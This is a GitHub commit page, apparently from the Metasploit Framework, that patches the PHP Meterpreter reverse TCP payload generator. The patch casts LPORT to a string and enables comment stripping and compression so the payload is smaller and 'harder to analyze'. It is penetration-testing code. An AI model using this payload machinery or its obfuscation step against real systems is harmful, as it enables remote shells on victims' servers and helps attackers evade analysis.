Skip to content

Commit 9c8b93f

Browse files
committed
Make sure LPORT is a string when subbing
* Gets rid of conversion errors like this: [-] Exploit failed: can't convert Fixnum into String * also removes comments from php meterp. Works for me with the phpmyadmin_preg_replace bug, so seems legit.
1 parent a0c1b6d commit 9c8b93f

File tree

1 file changed

+6
-5
lines changed

1 file changed

+6
-5
lines changed

modules/payloads/singles/php/meterpreter_reverse_tcp.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -33,11 +33,12 @@ def generate
3333
f.read(f.stat.size)
3434
}
3535
met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST']
36-
met.gsub!("4444", datastore['LPORT']) if datastore['LPORT']
37-
# XXX When this payload is more stable, remove comments and compress
38-
# whitespace to make it smaller and a bit harder to analyze
39-
#met.gsub!(/#.*$/, '')
40-
#met = Rex::Text.compress(met)
36+
met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT']
37+
38+
# remove comments and compress whitespace to make it smaller and a
39+
# bit harder to analyze
40+
met.gsub!(/#.*$/, '')
41+
met = Rex::Text.compress(met)
4142
met
4243
end
4344
end

0 commit comments

Comments
 (0)